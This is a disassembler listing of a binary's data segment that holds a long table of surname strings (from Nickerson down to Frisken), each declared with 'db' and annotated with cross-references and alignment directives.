aNickerson db 'Nickerson',0 ; DATA XREF: seg002:0043D114o
align 4
aNi_0 db 'Ni',0 ; DATA XREF: seg002:0043D110o
align 10h
aNg db 'Ng',0 ; DATA XREF: seg002:0043D10Co
align 4
aNewlin db 'Newlin',0 ; DATA XREF: seg002:0043D108o
align 4
aNewfeld db 'Newfeld',0 ; DATA XREF: seg002:0043D104o
aNeuman db 'Neuman',0 ; DATA XREF: seg002:0043D100o
align 4
aNesci db 'Nesci',0 ; DATA XREF: seg002:0043D0FCo
align 4
aNenna db 'Nenna',0 ; DATA XREF: seg002:0043D0F8o
align 4
aNelson db 'Nelson',0 ; DATA XREF: seg002:0043D0F4o
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: seg002:0043D0F0o
aNaviaux db 'Naviaux',0 ; DATA XREF: seg002:0043D0ECo
aNardone db 'Nardone',0 ; DATA XREF: seg002:0043D0E8o
aNardi db 'Nardi',0 ; DATA XREF: seg002:0043D0E4o
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: seg002:0043D0E0o
align 10h
aNaddeo db 'Naddeo',0 ; DATA XREF: seg002:0043D0DCo
align 4
aMussachio db 'Mussachio',0 ; DATA XREF: seg002:0043D0D8o
align 4
aMumford db 'Mumford',0 ; DATA XREF: seg002:0043D0D4o
aMulroy db 'Mulroy',0 ; DATA XREF: seg002:0043D0D0o
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: seg002:0043D0CCo
aMugnai db 'Mugnai',0 ; DATA XREF: seg002:0043D0C8o
align 4
aMuello db 'Muello',0 ; DATA XREF: seg002:0043D0C4o
align 4
aMudarri db 'Mudarri',0 ; DATA XREF: seg002:0043D0C0o
aMotooka db 'Motooka',0 ; DATA XREF: seg002:0043D0BCo
aMostafavi db 'Mostafavi',0 ; DATA XREF: seg002:0043D0B8o
align 4
aMosler db 'Mosler',0 ; DATA XREF: seg002:0043D0B4o
align 10h
aMosher db 'Mosher',0 ; DATA XREF: seg002:0043D0B0o
align 4
aMortimer db 'Mortimer',0 ; DATA XREF: seg002:0043D0ACo
align 4
aMorrow db 'Morrow',0 ; DATA XREF: seg002:0043D0A8o
align 4
aMorrison db 'Morrison',0 ; DATA XREF: seg002:0043D0A4o
align 4
aMoreton db 'Moreton',0 ; DATA XREF: seg002:0043D0A0o
aMorani db 'Morani',0 ; DATA XREF: seg002:0043D09Co
align 4
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: seg002:0043D098o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: seg002:0043D094o
align 10h
aMonque db 'Monque',0 ; DATA XREF: seg002:0043D090o
align 4
aMoiamedi db 'Moiamedi',0 ; DATA XREF: seg002:0043D08Co
align 4
aMohr db 'Mohr',0 ; DATA XREF: seg002:0043D088o
align 4
aMoeller db 'Moeller',0 ; DATA XREF: seg002:0043D084o
aModestino db 'Modestino',0 ; DATA XREF: seg002:0043D080o
align 10h
aMocroft db 'Mocroft',0 ; DATA XREF: seg002:0043D07Co
aMittal db 'Mittal',0 ; DATA XREF: seg002:0043D078o
align 10h
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: seg002:0043D074o
aGonzalez db 'Gonzalez',0 ; DATA XREF: seg002:0043D070o
align 4
aMinichiello db 'Minichiello',0 ; DATA XREF: seg002:0043D06Co
aMini db 'Mini',0 ; DATA XREF: seg002:0043D068o
align 4
aMinh db 'Minh',0 ; DATA XREF: seg002:0043D064o
align 4
aMills db 'Mills',0 ; DATA XREF: seg002:0043D060o
align 4
aMieher db 'Mieher',0 ; DATA XREF: seg002:0043D05Co
align 4
aMiddle db 'Middle',0 ; DATA XREF: seg002:0043D058o
align 4
aMichelman db 'Michelman',0 ; DATA XREF: seg002:0043D054o
align 4
aMeurer db 'Meurer',0 ; DATA XREF: seg002:0043D050o
align 10h
aMetropolis db 'Metropolis',0 ; DATA XREF: seg002:0043D04Co
align 4
aMetelka db 'Metelka',0 ; DATA XREF: seg002:0043D048o
aMerz db 'Merz',0 ; DATA XREF: seg002:0043D044o
align 4
aMerseth db 'Merseth',0 ; DATA XREF: seg002:0043D040o
aMerminod db 'Merminod',0 ; DATA XREF: seg002:0043D03Co
align 10h
aMerlani db 'Merlani',0 ; DATA XREF: seg002:0043D038o
aMerikoski db 'Merikoski',0 ; DATA XREF: seg002:0043D034o
align 4
aMenzies db 'Menzies',0 ; DATA XREF: seg002:0043D030o
aMemisoglu db 'Memisoglu',0 ; DATA XREF: seg002:0043D02Co
align 4
aMeccariello db 'Meccariello',0 ; DATA XREF: seg002:0043D028o
aMcnulty db 'Mcnulty',0 ; DATA XREF: seg002:0043D024o
aMcnealy db 'Mcnealy',0 ; DATA XREF: seg002:0043D020o
aMclaren db 'Mclaren',0 ; DATA XREF: seg002:0043D01Co
aMclane db 'Mclane',0 ; DATA XREF: seg002:0043D018o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: seg002:0043D014o
aMcintosh db 'Mcintosh',0 ; DATA XREF: seg002:0043D010o
align 4
aMcilroy db 'McIlroy',0 ; DATA XREF: seg002:0043D00Co
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: seg002:0043D008o
align 4
aMcghee db 'Mcghee',0 ; DATA XREF: seg002:0043D004o
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: seg002:0043D000o
align 10h
aMcelroy db 'Mcelroy',0 ; DATA XREF: seg002:0043CFFCo
aMcdowell db 'Mcdowell',0 ; DATA XREF: seg002:0043CFF8o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: seg002:0043CFF4o
align 10h
aMccall db 'Mccall',0 ; DATA XREF: seg002:0043CFF0o
align 4
aMccaffery db 'Mccaffery',0 ; DATA XREF: seg002:0043CFECo
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: seg002:0043CFE8o
aMazziotta db 'Mazziotta',0 ; DATA XREF: seg002:0043CFE4o
align 4
aMazzali db 'Mazzali',0 ; DATA XREF: seg002:0043CFE0o
aMay db 'May',0 ; DATA XREF: seg002:0043CFDCo
aMauzy db 'Mauzy',0 ; DATA XREF: seg002:0043CFD8o
align 4
aMattson db 'Mattson',0 ; DATA XREF: seg002:0043CFD4o
aMatsukata db 'Matsukata',0 ; DATA XREF: seg002:0043CFD0o
align 10h
aMatarazzo db 'Matarazzo',0 ; DATA XREF: seg002:0043CFCCo
align 4
aMatalka db 'Matalka',0 ; DATA XREF: seg002:0043CFC8o
aMass db 'Mass',0 ; DATA XREF: seg002:0043CFC4o
align 4
aMarubini db 'Marubini',0 ; DATA XREF: seg002:0043CFC0o
align 4
aMarton db 'Marton',0 ; DATA XREF: seg002:0043CFBCo
align 10h
aMartochio db 'Martochio',0 ; DATA XREF: seg002:0043CFB8o
align 4
aMartinez db 'Martinez',0 ; DATA XREF: seg002:0043CFB4o
align 4
aMarques db 'Marques',0 ; DATA XREF: seg002:0043CFB0o
aMargetts db 'Margetts',0 ; DATA XREF: seg002:0043CFACo
align 4
aMargalit db 'Margalit',0 ; DATA XREF: seg002:0043CFA8o
align 4
aMarcus db 'Marcus',0 ; DATA XREF: seg002:0043CFA4o
align 10h
aMarchbanks db 'Marchbanks',0 ; DATA XREF: seg002:0043CFA0o
align 4
aMarch db 'March',0 ; DATA XREF: seg002:0043CF9Co
align 4
aMantovan db 'Mantovan',0 ; DATA XREF: seg002:0043CF98o
align 10h
aManganiello db 'Manganiello',0 ; DATA XREF: seg002:0043CF94o
aMandel db 'Mandel',0 ; DATA XREF: seg002:0043CF90o
align 4
aManalis db 'Manalis',0 ; DATA XREF: seg002:0043CF8Co
aMalova db 'Malova',0 ; DATA XREF: seg002:0043CF88o
align 4
aMaller db 'Maller',0 ; DATA XREF: seg002:0043CF84o
align 4
aMalatesta db 'Malatesta',0 ; DATA XREF: seg002:0043CF80o
align 4
aMaisano db 'Maisano',0 ; DATA XREF: seg002:0043CF7Co
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: seg002:0043CF78o
align 10h
aMaier db 'Maier',0 ; DATA XREF: seg002:0043CF74o
align 4
aMahony db 'Mahony',0 ; DATA XREF: seg002:0043CF70o
align 10h
aMaggio db 'Maggio',0 ; DATA XREF: seg002:0043CF6Co
align 4
aMadigan db 'Madigan',0 ; DATA XREF: seg002:0043CF68o
aMacy db 'Macy',0 ; DATA XREF: seg002:0043CF64o
align 4
aMacmillan db 'MacMillan',0 ; DATA XREF: seg002:0043CF60o
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: seg002:0043CF5Co
align 10h
aMacintyre db 'Macintyre',0 ; DATA XREF: seg002:0043CF58o
align 4
aMaceachern db 'Maceachern',0 ; DATA XREF: seg002:0043CF54o
align 4
aMacdonald db 'Macdonald',0 ; DATA XREF: seg002:0043CF50o
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: seg002:0043CF4Co
align 10h
aMa db 'Ma',0 ; DATA XREF: seg002:0043CF48o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: seg002:0043CF44o
aLutcavage db 'Lutcavage',0 ; DATA XREF: seg002:0043CF40o
align 4
aLussier db 'Lussier',0 ; DATA XREF: seg002:0043CF3Co
aLuoma db 'Luoma',0 ; DATA XREF: seg002:0043CF38o
align 4
aLunetta db 'Lunetta',0 ; DATA XREF: seg002:0043CF34o
aLuecke db 'Luecke',0 ; DATA XREF: seg002:0043CF30o
align 4
aLuczkow db 'Luczkow',0 ; DATA XREF: seg002:0043CF2Co
aLuciano db 'Luciano',0 ; DATA XREF: seg002:0043CF28o
aLucas db 'Lucas',0 ; DATA XREF: seg002:0043CF24o
align 10h
aLubin db 'Lubin',0 ; DATA XREF: seg002:0043CF20o
align 4
aLoza db 'Loza',0 ; DATA XREF: seg002:0043CF1Co
align 10h
aLowenstein db 'Lowenstein',0 ; DATA XREF: seg002:0043CF18o
align 4
aLoveman db 'Loveman',0 ; DATA XREF: seg002:0043CF14o
aLoss db 'Loss',0 ; DATA XREF: seg002:0043CF10o
align 4
aLongworth db 'Longworth',0 ; DATA XREF: seg002:0043CF0Co
align 4
aLocatelli db 'Locatelli',0 ; DATA XREF: seg002:0043CF08o
align 4
aLizardo db 'Lizardo',0 ; DATA XREF: seg002:0043CF04o
aLivolsi db 'Livolsi',0 ; DATA XREF: seg002:0043CF00o
aLivi db 'Livi',0 ; DATA XREF: seg002:0043CEFCo
align 4
aLivernash db 'Livernash',0 ; DATA XREF: seg002:0043CEF8o
align 4
aLitvak db 'Litvak',0 ; DATA XREF: seg002:0043CEF4o
align 10h
aLittle db 'Little',0 ; DATA XREF: seg002:0043CEF0o
align 4
aLipponen db 'Lipponen',0 ; DATA XREF: seg002:0043CEECo
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: seg002:0043CEE8o
align 10h
aLinzee db 'Linzee',0 ; DATA XREF: seg002:0043CEE4o
align 4
aLinehan db 'Linehan',0 ; DATA XREF: seg002:0043CEE0o
aLine db 'Line',0 ; DATA XREF: seg002:0043CEDCo
align 4
aLinder db 'Linder',0 ; DATA XREF: seg002:0043CED8o
align 10h
aLinda db 'Linda',0 ; DATA XREF: seg002:0043CED4o
align 4
aLinares db 'Linares',0 ; DATA XREF: seg002:0043CED0o
aLim db 'Lim',0 ; DATA XREF: seg002:0043CECCo
aLightfoot db 'Lightfoot',0 ; DATA XREF: seg002:0043CEC8o
align 10h
aLight db 'Light',0 ; DATA XREF: seg002:0043CEC4o
align 4
aLiem db 'Liem',0 ; DATA XREF: seg002:0043CEC0o
align 10h
aLidano db 'Lidano',0 ; DATA XREF: seg002:0043CEBCo
align 4
aLiakos db 'Liakos',0 ; DATA XREF: seg002:0043CEB8o
align 10h
aLessi db 'Lessi',0 ; DATA XREF: seg002:0043CEB4o
align 4
aLesser db 'Lesser',0 ; DATA XREF: seg002:0043CEB0o
align 10h
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: seg002:0043CEACo
align 4
aLenard db 'Lenard',0 ; DATA XREF: seg002:0043CEA8o
align 4
aLeite db 'Leite',0 ; DATA XREF: seg002:0043CEA4o
align 4
aLeclercq db 'Leclercq',0 ; DATA XREF: seg002:0043CEA0o
align 4
aLecce db 'Lecce',0 ; DATA XREF: seg002:0043CE9Co
align 10h
aLecar db 'Lecar',0 ; DATA XREF: seg002:0043CE98o
align 4
aLawless db 'Lawless',0 ; DATA XREF: seg002:0043CE94o
aLashley db 'Lashley',0 ; DATA XREF: seg002:0043CE90o
aLaserna db 'Laserna',0 ; DATA XREF: seg002:0043CE8Co
aLanzit db 'Lanzit',0 ; DATA XREF: seg002:0043CE88o
align 4
aLantieri db 'Lantieri',0 ; DATA XREF: seg002:0043CE84o
align 4
aLankes db 'Lankes',0 ; DATA XREF: seg002:0043CE80o
align 4
aLandes db 'Landes',0 ; DATA XREF: seg002:0043CE7Co
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: seg002:0043CE78o
align 10h
aLaing db 'Laing',0 ; DATA XREF: seg002:0043CE74o
align 4
aLafler db 'Lafler',0 ; DATA XREF: seg002:0043CE70o
align 10h
aLabunka db 'Labunka',0 ; DATA XREF: seg002:0043CE6Co
aLa db 'La',0 ; DATA XREF: seg002:0043CE68o
align 4
aKuwabara db 'Kuwabara',0 ; DATA XREF: seg002:0043CE64o
align 4
aKusman db 'Kusman',0 ; DATA XREF: seg002:0043CE60o
align 10h
aKumar db 'Kumar',0 ; DATA XREF: seg002:0043CE5Co
align 4
aKuenzli db 'Kuenzli',0 ; DATA XREF: seg002:0043CE58o
aKrysiak db 'Krysiak',0 ; DATA XREF: seg002:0043CE54o
aKroemer db 'Kroemer',0 ; DATA XREF: seg002:0043CE50o
aKraus db 'Kraus',0 ; DATA XREF: seg002:0043CE4Co
align 4
aKrasney db 'Krasney',0 ; DATA XREF: seg002:0043CE48o
aKrailo db 'Krailo',0 ; DATA XREF: seg002:0043CE44o
align 4
aKraemer db 'Kraemer',0 ; DATA XREF: seg002:0043CE40o
aKovaks db 'Kovaks',0 ; DATA XREF: seg002:0043CE3Co
align 4
aKotter db 'Kotter',0 ; DATA XREF: seg002:0043CE38o
align 10h
aKorzybski db 'Korzybski',0 ; DATA XREF: seg002:0043CE34o
align 4
aKool db 'Kool',0 ; DATA XREF: seg002:0043CE30o
align 4
aKonrad db 'Konrad',0 ; DATA XREF: seg002:0043CE2Co
align 4
aKoniaris db 'Koniaris',0 ; DATA XREF: seg002:0043CE28o
align 4
aKommer db 'Kommer',0 ; DATA XREF: seg002:0043CE24o
align 10h
aKoivumaki db 'Koivumaki',0 ; DATA XREF: seg002:0043CE20o
align 4
aKohn db 'Kohn',0 ; DATA XREF: seg002:0043CE1Co
align 4
aKoch db 'Koch',0 ; DATA XREF: seg002:0043CE18o
align 4
aKobrick db 'Kobrick',0 ; DATA XREF: seg002:0043CE14o
aKnuff db 'Knuff',0 ; DATA XREF: seg002:0043CE10o
align 4
aKlint db 'Klint',0 ; DATA XREF: seg002:0043CE0Co
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: seg002:0043CE08o
aKling db 'Kling',0 ; DATA XREF: seg002:0043CE04o
align 4
aKlemperer db 'Klemperer',0 ; DATA XREF: seg002:0043CE00o
align 4
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: seg002:0043CDFCo
aKleiman db 'Kleiman',0 ; DATA XREF: seg002:0043CDF8o
aKleckner db 'Kleckner',0 ; DATA XREF: seg002:0043CDF4o
align 4
aKittridge db 'Kittridge',0 ; DATA XREF: seg002:0043CDF0o
align 10h
aKirscht db 'Kirscht',0 ; DATA XREF: seg002:0043CDECo
aKippenberger db 'Kippenberger',0 ; DATA XREF: seg002:0043CDE8o
align 4
aKinsley db 'Kinsley',0 ; DATA XREF: seg002:0043CDE4o
aKindall db 'Kindall',0 ; DATA XREF: seg002:0043CDE0o
aKimura db 'Kimura',0 ; DATA XREF: seg002:0043CDDCo
align 10h
aKimmett db 'Kimmett',0 ; DATA XREF: seg002:0043CDD8o
aKimmel db 'Kimmel',0 ; DATA XREF: seg002:0043CDD4o
align 10h
aKhong db 'Khong',0 ; DATA XREF: seg002:0043CDD0o
align 4
aKeul db 'Keul',0 ; DATA XREF: seg002:0043CDCCo
align 10h
aKerry db 'Kerry',0 ; DATA XREF: seg002:0043CDC8o
align 4
aKendall db 'Kendall',0 ; DATA XREF: seg002:0043CDC4o
aKemsley db 'Kemsley',0 ; DATA XREF: seg002:0043CDC0o
aKempton db 'Kempton',0 ; DATA XREF: seg002:0043CDBCo
aKelsey db 'Kelsey',0 ; DATA XREF: seg002:0043CDB8o
align 4
aKelker db 'Kelker',0 ; DATA XREF: seg002:0043CDB4o
align 10h
aKeith db 'Keith',0 ; DATA XREF: seg002:0043CDB0o
align 4
aKeepper db 'Keepper',0 ; DATA XREF: seg002:0043CDACo
aKeenan db 'Keenan',0 ; DATA XREF: seg002:0043CDA8o
align 4
aKee db 'Kee',0 ; DATA XREF: seg002:0043CDA4o
aKawachi db 'Kawachi',0 ; DATA XREF: seg002:0043CDA0o
aKasten db 'Kasten',0 ; DATA XREF: seg002:0043CD9Co
align 4
aKassower db 'Kassower',0 ; DATA XREF: seg002:0043CD98o
align 4
aKarpouzes db 'Karpouzes',0 ; DATA XREF: seg002:0043CD94o
align 4
aKangis db 'Kangis',0 ; DATA XREF: seg002:0043CD90o
align 4
aKamel db 'Kamel',0 ; DATA XREF: seg002:0043CD8Co
align 4
aKalman db 'Kalman',0 ; DATA XREF: seg002:0043CD88o
align 4
aKalinowski db 'Kalinowski',0 ; DATA XREF: seg002:0043CD84o
align 4
aKalil db 'Kalil',0 ; DATA XREF: seg002:0043CD80o
align 10h
aKaligian db 'Kaligian',0 ; DATA XREF: seg002:0043CD7Co
align 4
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: seg002:0043CD78o
aKafadar db 'Kafadar',0 ; DATA XREF: seg002:0043CD74o
aKaboolian db 'Kaboolian',0 ; DATA XREF: seg002:0043CD70o
align 4
aKabbash db 'Kabbash',0 ; DATA XREF: seg002:0043CD6Co
aJulious db 'Julious',0 ; DATA XREF: seg002:0043CD68o
aJuliano db 'Juliano',0 ; DATA XREF: seg002:0043CD64o
aJucks db 'Jucks',0 ; DATA XREF: seg002:0043CD60o
align 4
aJorgensen db 'Jorgensen',0 ; DATA XREF: seg002:0043CD5Co
align 4
aJolly db 'Jolly',0 ; DATA XREF: seg002:0043CD58o
align 10h
aJohns db 'Johns',0 ; DATA XREF: seg002:0043CD54o
align 4
aJohannsen db 'Johannsen',0 ; DATA XREF: seg002:0043CD50o
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: seg002:0043CD4Co
aJewett db 'Jewett',0 ; DATA XREF: seg002:0043CD48o
align 4
aJespersen db 'Jespersen',0 ; DATA XREF: seg002:0043CD44o
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: seg002:0043CD40o
aJellis db 'Jellis',0 ; DATA XREF: seg002:0043CD3Co
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: seg002:0043CD38o
aJay db 'Jay',0 ; DATA XREF: seg002:0043CD34o
aJarrell db 'Jarrell',0 ; DATA XREF: seg002:0043CD30o
aJarnagin db 'Jarnagin',0 ; DATA XREF: seg002:0043CD2Co
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: seg002:0043CD28o
align 10h
aJamil db 'Jamil',0 ; DATA XREF: seg002:0043CD24o
align 4
aJain db 'Jain',0 ; DATA XREF: seg002:0043CD20o
align 10h
aJagoe db 'Jagoe',0 ; DATA XREF: seg002:0043CD1Co
align 4
aJagger db 'Jagger',0 ; DATA XREF: seg002:0043CD18o
align 10h
aJagers db 'Jagers',0 ; DATA XREF: seg002:0043CD14o
align 4
aJackson db 'Jackson',0 ; DATA XREF: seg002:0043CD10o
aJacenko db 'Jacenko',0 ; DATA XREF: seg002:0043CD0Co
aIyer db 'Iyer',0 ; DATA XREF: seg002:0043CD08o
align 10h
aIsserman db 'Isserman',0 ; DATA XREF: seg002:0043CD04o
align 4
aIsbill db 'Isbill',0 ; DATA XREF: seg002:0043CD00o
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: seg002:0043CCFCo
align 10h
aIsaac db 'Isaac',0 ; DATA XREF: seg002:0043CCF8o
align 4
aInniss db 'Inniss',0 ; DATA XREF: seg002:0043CCF4o
align 10h
aInamura db 'Inamura',0 ; DATA XREF: seg002:0043CCF0o
aIgarashi db 'Igarashi',0 ; DATA XREF: seg002:0043CCECo
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: seg002:0043CCE8o
align 10h
aIaquinta db 'Iaquinta',0 ; DATA XREF: seg002:0043CCE4o
align 4
aHyde db 'Hyde',0 ; DATA XREF: seg002:0043CCE0o
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: seg002:0043CCDCo
align 10h
aHurtubise db 'Hurtubise',0 ; DATA XREF: seg002:0043CCD8o
align 4
aHupp db 'Hupp',0 ; DATA XREF: seg002:0043CCD4o
align 4
aHuntington db 'Huntington',0 ; DATA XREF: seg002:0043CCD0o
align 10h
aHungerford db 'Hungerford',0 ; DATA XREF: seg002:0043CCCCo
align 4
aHuidekoper db 'Huidekoper',0 ; DATA XREF: seg002:0043CCC8o
align 4
aHuey db 'Huey',0 ; DATA XREF: seg002:0043CCC4o
align 10h
aHoy db 'Hoy',0 ; DATA XREF: seg002:0043CCC0o
aHoward db 'Howard',0 ; DATA XREF: seg002:0043CCBCo
align 4
aHottle db 'Hottle',0 ; DATA XREF: seg002:0043CCB8o
align 4
aHostage db 'Hostage',0 ; DATA XREF: seg002:0043CCB4o
aHoshida db 'Hoshida',0 ; DATA XREF: seg002:0043CCB0o
aHorsley db 'Horsley',0 ; DATA XREF: seg002:0043CCACo
aHopkins db 'Hopkins',0 ; DATA XREF: seg002:0043CCA8o
aHooker db 'Hooker',0 ; DATA XREF: seg002:0043CCA4o
align 4
aHolzman db 'Holzman',0 ; DATA XREF: seg002:0043CCA0o
aHolway db 'Holway',0 ; DATA XREF: seg002:0043CC9Co
align 4
aHolter db 'Holter',0 ; DATA XREF: seg002:0043CC98o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: seg002:0043CC94o
aHolmes db 'Holmes',0 ; DATA XREF: seg002:0043CC90o
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: seg002:0043CC8Co
align 4
aHokanson db 'Hokanson',0 ; DATA XREF: seg002:0043CC88o
align 4
aHoffman db 'Hoffman',0 ; DATA XREF: seg002:0043CC84o
aHoffer db 'Hoffer',0 ; DATA XREF: seg002:0043CC80o
align 4
aHock db 'Hock',0 ; DATA XREF: seg002:0043CC7Co
align 10h
aHoang db 'Hoang',0 ; DATA XREF: seg002:0043CC78o
align 4
aHitchcock db 'Hitchcock',0 ; DATA XREF: seg002:0043CC74o
align 4
aHirst db 'Hirst',0 ; DATA XREF: seg002:0043CC70o
align 4
aHind db 'Hind',0 ; DATA XREF: seg002:0043CC6Co
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: seg002:0043CC68o
align 10h
aHeyeck db 'Heyeck',0 ; DATA XREF: seg002:0043CC64o
align 4
aHeubert db 'Heubert',0 ; DATA XREF: seg002:0043CC60o
aHester db 'Hester',0 ; DATA XREF: seg002:0043CC5Co
align 4
aHerrera db 'Herrera',0 ; DATA XREF: seg002:0043CC58o
aHernandez db 'Hernandez',0 ; DATA XREF: seg002:0043CC54o
align 4
aHenrichs db 'Henrichs',0 ; DATA XREF: seg002:0043CC50o
align 4
aHenery db 'Henery',0 ; DATA XREF: seg002:0043CC4Co
align 10h
aHemphill db 'Hemphill',0 ; DATA XREF: seg002:0043CC48o
align 4
aHelprin db 'Helprin',0 ; DATA XREF: seg002:0043CC44o
aHellmiss db 'Hellmiss',0 ; DATA XREF: seg002:0043CC40o
align 10h
aHellman db 'Hellman',0 ; DATA XREF: seg002:0043CC3Co
aHeiland db 'Heiland',0 ; DATA XREF: seg002:0043CC38o
aHeft db 'Heft',0 ; DATA XREF: seg002:0043CC34o
align 4
aHeermans db 'Heermans',0 ; DATA XREF: seg002:0043CC30o
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: seg002:0043CC2Co
align 10h
aHaynes db 'Haynes',0 ; DATA XREF: seg002:0043CC28o
align 4
aHayes db 'Hayes',0 ; DATA XREF: seg002:0043CC24o
align 10h
aHawkes db 'Hawkes',0 ; DATA XREF: seg002:0043CC20o
align 4
aHaviaras db 'Haviaras',0 ; DATA XREF: seg002:0043CC1Co
align 4
aHarwell db 'Harwell',0 ; DATA XREF: seg002:0043CC18o
aHartnett db 'Hartnett',0 ; DATA XREF: seg002:0043CC14o
align 4
aHartmann db 'Hartmann',0 ; DATA XREF: seg002:0043CC10o
align 4
aHartman db 'Hartman',0 ; DATA XREF: seg002:0043CC0Co
aHarrigan db 'Harrigan',0 ; DATA XREF: seg002:0043CC08o
align 4
aHarlow db 'Harlow',0 ; DATA XREF: seg002:0043CC04o
align 10h
aHargraves db 'Hargraves',0 ; DATA XREF: seg002:0043CC00o
align 4
aHarding db 'Harding',0 ; DATA XREF: seg002:0043CBFCo
aHanssen db 'Hanssen',0 ; DATA XREF: seg002:0043CBF8o
aHand db 'Hand',0 ; DATA XREF: seg002:0043CBF4o
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: seg002:0043CBF0o
align 10h
aHamer db 'Hamer',0 ; DATA XREF: seg002:0043CBECo
align 4
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: seg002:0043CBE8o
align 4
aHalpert db 'Halpert',0 ; DATA XREF: seg002:0043CBE4o
aHallowell db 'Hallowell',0 ; DATA XREF: seg002:0043CBE0o
align 4
aHalkias db 'Halkias',0 ; DATA XREF: seg002:0043CBDCo
aHaley db 'Haley',0 ; DATA XREF: seg002:0043CBD8o
align 4
aHackshaw db 'Hackshaw',0 ; DATA XREF: seg002:0043CBD4o
align 4
aHackman db 'Hackman',0 ; DATA XREF: seg002:0043CBD0o
aHaar db 'Haar',0 ; DATA XREF: seg002:0043CBCCo
align 4
aHa db 'Ha',0 ; DATA XREF: seg002:0043CBC8o
align 4
aGuo db 'Guo',0 ; DATA XREF: seg002:0043CBC4o
aGunn db 'Gunn',0 ; DATA XREF: seg002:0043CBC0o
align 4
aGuenthart db 'Guenthart',0 ; DATA XREF: seg002:0043CBBCo
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: seg002:0043CBB8o
align 4
aGruner db 'Gruner',0 ; DATA XREF: seg002:0043CBB4o
align 4
aGrummell db 'Grummell',0 ; DATA XREF: seg002:0043CBB0o
align 10h
aGrigoletto db 'Grigoletto',0 ; DATA XREF: seg002:0043CBACo
align 4
aGriffiths db 'Griffiths',0 ; DATA XREF: seg002:0043CBA8o
align 4
aGreenfeld db 'Greenfeld',0 ; DATA XREF: seg002:0043CBA4o
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: seg002:0043CBA0o
align 10h
aGravell db 'Gravell',0 ; DATA XREF: seg002:0043CB9Co
aGozzi db 'Gozzi',0 ; DATA XREF: seg002:0043CB98o
align 10h
aGoody db 'Goody',0 ; DATA XREF: seg002:0043CB94o
align 4
aGoodearl db 'Goodearl',0 ; DATA XREF: seg002:0043CB90o
align 4
aGood db 'Good',0 ; DATA XREF: seg002:0043CB8Co
align 4
aGoncalves db 'Goncalves',0 ; DATA XREF: seg002:0043CB88o
align 4
aGoldfarb db 'Goldfarb',0 ; DATA XREF: seg002:0043CB84o
align 4
aGlendon db 'Glendon',0 ; DATA XREF: seg002:0043CB80o
aGlegg db 'Glegg',0 ; DATA XREF: seg002:0043CB7Co
align 4
aGleason db 'Gleason',0 ; DATA XREF: seg002:0043CB78o
aGist db 'Gist',0 ; DATA XREF: seg002:0043CB74o
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: seg002:0043CB70o
align 10h
aGill db 'Gill',0 ; DATA XREF: seg002:0043CB6Co
align 4
aGili db 'Gili',0 ; DATA XREF: seg002:0043CB68o
align 10h
aGilbert db 'Gilbert',0 ; DATA XREF: seg002:0043CB64o
aGibson db 'Gibson',0 ; DATA XREF: seg002:0043CB60o
align 10h
aGibbens db 'Gibbens',0 ; DATA XREF: seg002:0043CB5Co
aGhorai db 'Ghorai',0 ; DATA XREF: seg002:0043CB58o
align 10h
aGerrett db 'Gerrett',0 ; DATA XREF: seg002:0043CB54o
aGeorgi db 'Georgi',0 ; DATA XREF: seg002:0043CB50o
align 10h
aGemberling db 'Gemberling',0 ; DATA XREF: seg002:0043CB4Co
align 4
aGeller db 'Geller',0 ; DATA XREF: seg002:0043CB48o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: seg002:0043CB44o
aGarman db 'Garman',0 ; DATA XREF: seg002:0043CB40o
align 4
aGarfield db 'Garfield',0 ; DATA XREF: seg002:0043CB3Co
align 10h
aGambini db 'Gambini',0 ; DATA XREF: seg002:0043CB38o
aGalwey db 'Galwey',0 ; DATA XREF: seg002:0043CB34o
align 10h
aGaleotti db 'Galeotti',0 ; DATA XREF: seg002:0043CB30o
align 4
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: seg002:0043CB2Co
align 4
aGabrielli db 'Gabrielli',0 ; DATA XREF: seg002:0043CB28o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: seg002:0043CB24o
align 4
aFurth db 'Furth',0 ; DATA XREF: seg002:0043CB20o
align 4
aFuller db 'Fuller',0 ; DATA XREF: seg002:0043CB1Co
align 4
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: seg002:0043CB18o
align 4
aFrye db 'Frye',0 ; DATA XREF: seg002:0043CB14o
align 10h
aFryberger db 'Fryberger',0 ; DATA XREF: seg002:0043CB10o
align 4
aFrowiss db 'Frowiss',0 ; DATA XREF: seg002:0043CB0Co
aFrisken db 'Frisken',0 ; DATA XREF: seg002:0043CB08o
